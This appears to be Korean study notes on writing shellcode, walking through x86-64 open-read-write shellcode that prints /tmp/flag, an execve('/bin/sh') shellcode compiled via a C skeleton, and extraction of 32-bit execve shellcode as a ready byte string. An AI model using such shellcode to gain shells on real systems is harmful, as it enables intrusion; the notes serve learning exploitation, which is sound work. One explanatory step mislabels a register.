익스플로잇을 위해 제작된 어셈블리 코드 조각, 일반적으로 쉘을 획득하기 위한 목적으로 사용합니다.
// "/tmp/flag"를 읽고 출력하는 쉘 코드
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
syscall 요청 : rax
인자 순서 : rdi → rsi → rdx → rcx → r8 → r9 → stack
int fd = open("/tmp/flag", RD_ONLY, NULL)
1. rdi
"/tmp/flag"
⇾ 2F 74 6D 70 2F 66 6C 61 67
rdi = "/tmp/flag"
2. rsi
RD_ONLY
는 0
rsi = 0x0
3. rdx
NULL
이니까
rdx = 0x0
4. rax
open syscall
번호는 2
rax = 0x2
push 0x67 ; 'g' 스택에 넣기
mov rax, 0x616c662f706d742f ; rax = "/tmp/fla"
push rax ; "/tmp/fla" 스택에 넣기
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 (RD_ONLY)
xor rdx, rdx ; rdx = 0 (NULL)
mov rax, 0x2 ; rax = 2 (open)
syscall ; open("/tmp/flag", RD_ONLY, NULL)
read(fd, buf, 0x30)
1. rdi
open
한 "/tmp/flag"
의 fd
값을 rdi
에 대입
open syscall
의 결과인 fd
값은 rax
레지스터에 저장되기 때문에
rdi = rax
2. rsi
buf[0x30]
은 크기가 0x30
인 문자열이기 때문에
rsi = rsp - 0x30
3. rdx
0x30
크기의 데이터를 읽을 거기 때문에
rdx = 0x30
4. rax
read syscall
번호는 0
rax = 0x0
mov rdi, rax ; rdi = fd
mov rsi, rsp ; rsi = rsp
sub rsi, 0x30 ; rsi = rsp - 0x30 (buf)
mov rdx, 0x30 ; rdx = 0x30 (size)
mov rax, 0x0 ; rax = 0 (read)
syscall ; read(fd, buf, 0x30)
write(1, buf, 0x30)
1. rdi
파일로부터 읽은 데이터를 화면에 출력할 것이기 때문에, fd
는 stdout
인 0x1
rdi = 0x1
2. rsi
buf[0x30]
은 크기가 0x30
인 문자열이기 때문에
rsi = rsp - 0x30
3. rdi
0x30
크기의 데이터를 쓸 거기 때문에
rdi = 0x30
4. rax
write syscall
번호는 1
rax = 0x1
write()
이전에 read()
에서 rsi
와 rdi
가 buf
, 0x30
으로 동일하기 때문에, rsi
, rdi
값은 그대로 사용하면
mov rdi, 0x1 ; rdi = 0x1 (stdout)
mov rax, 0x1 ; rax = 0x1 (write)
syscall ; write(1, buf, 0x30)
각 코드를 조합해서 전체 코드를 만들면
; open("/tmp/flag", RD_ONLY, NULL)
push 0x67 ; 'g' 스택에 넣기
mov rax, 0x616c662f706d742f ; rax = "/tmp/fla"
push rax ; "/tmp/fla" 스택에 넣기
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 (RD_ONLY)
xor rdx, rdx ; rdx = 0 (NULL)
mov rax, 0x2 ; rax = 2 (open)
syscall ; open("/tmp/flag", RD_ONLY, NULL)
; read (fd, buf, 0x30)
mov rdi, rax ; rdi = fd
mov rsi, rsp ; rsi = rsp
sub rsi, 0x30 ; rsi = rsp - 0x30 (buf)
mov rdx, 0x30 ; rdx = 0x30 (size)
mov rax, 0x0 ; rax = 0 (read)
syscall ; read(fd, buf, 0x30)
; write(1, buf, 0x30)
mov rdi, 0x1 ; rdi = 0x1 (stdout)
mov rax, 0x1 ; rax = 0x1 (write)
syscall ; write(1, buf, 0x30)
이제 완성된 코드를 컴파일 해야 하는데, C언어로 스켈레톤 코드를 작성하고 거기에 쉘 코드를 탑재해서 컴파일을 하면 됩니다.
// 스켈레톤 코드 예시
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
스켈레톤 코드에 쉘 코드를 탑재해보면
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67 # 'g' 스택에 넣기\n"
"mov rax, 0x616c662f706d742f # rax = '/tmp/fla'\n"
"push rax # '/tmp/fla' 스택에 넣기\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 (RD_ONLY)\n"
"xor rdx, rdx # rdx = 0 (NULL)\n"
"mov rax, 0x2 # rax = 2 (open)\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp # rsi = rsp\n"
"sub rsi, 0x30 # rsi = rsp - 0x30 (buf)\n"
"mov rdx, 0x30 # rdx = 0x30 (size)\n"
"mov rax, 0x0 # rax = 0 (read)\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 0x1 # rdi = 0x1 (stdout)\n"
"mov rax, 0x1 # rax = 0x1 (write)\n"
"syscall # write(1, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
이제 컴파일을 하고 실행을 시켜보면
gcc -o orw orw.c -masm=intel
./orw
flag{this is open read write shellcode!}
\U
쉘 코드가 성공적으로 실행되어서 "/tmp/flag"
파일의 내용이 출력되었습니다.
쉘을 띄우는 쉘 코드를 이용하면 서버의 쉘을 흭득할 수 있습니다.
execve("/bin/sh", null, null)
1. rdi
"/bin/sh"
→ 2F 62 69 6E 2F 73 68
rdi = "/bin/sh"
2. rsi
null
rsi = 0x0
3. rdx
null
rdx = 0x0
4. rax
execve syscall
번호는 0x3b
rax = 0x3b
mov rax, 0x68732f6e69622f ; rax = "/bin/sh"
push rax ; "/bin/sh" 스택에 넣기
mov rdi, rsp ; rdi = "/bin/sh"
xor rsi, rsi ; rsi = 0x0 (null)
xor rdx, rdx ; rdx = 0x0 (null)
mov rax, 0x3b ; rax = 0x3b (execve)
syscall ; execve("/bin/sh", null, null)
위와 같은 방법으로 스켈레톤 코드에 쉘 코드를 탑재해서 컴파일해보면
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f # rax = '/bin/sh'\n"
"push rax # '/bin/sh' 스택에 넣기\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = 0x0 (null)\n"
"xor rdx, rdx # rdx = 0x0 (null)\n"
"mov rax, 0x3b # rax = 0x3b (execve)\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
$ gcc -o execve execve.c -masm=intel
$ ls
execve execve.c
execve
파일을 실행해보면
$ ./execve
$
쉘이 bash
에서 sh
로 변경되었습니다.
shellcode를 byte code(opcode)의 형태로 추출
; shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
execve("/bin/sh", NULL, NULL) shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"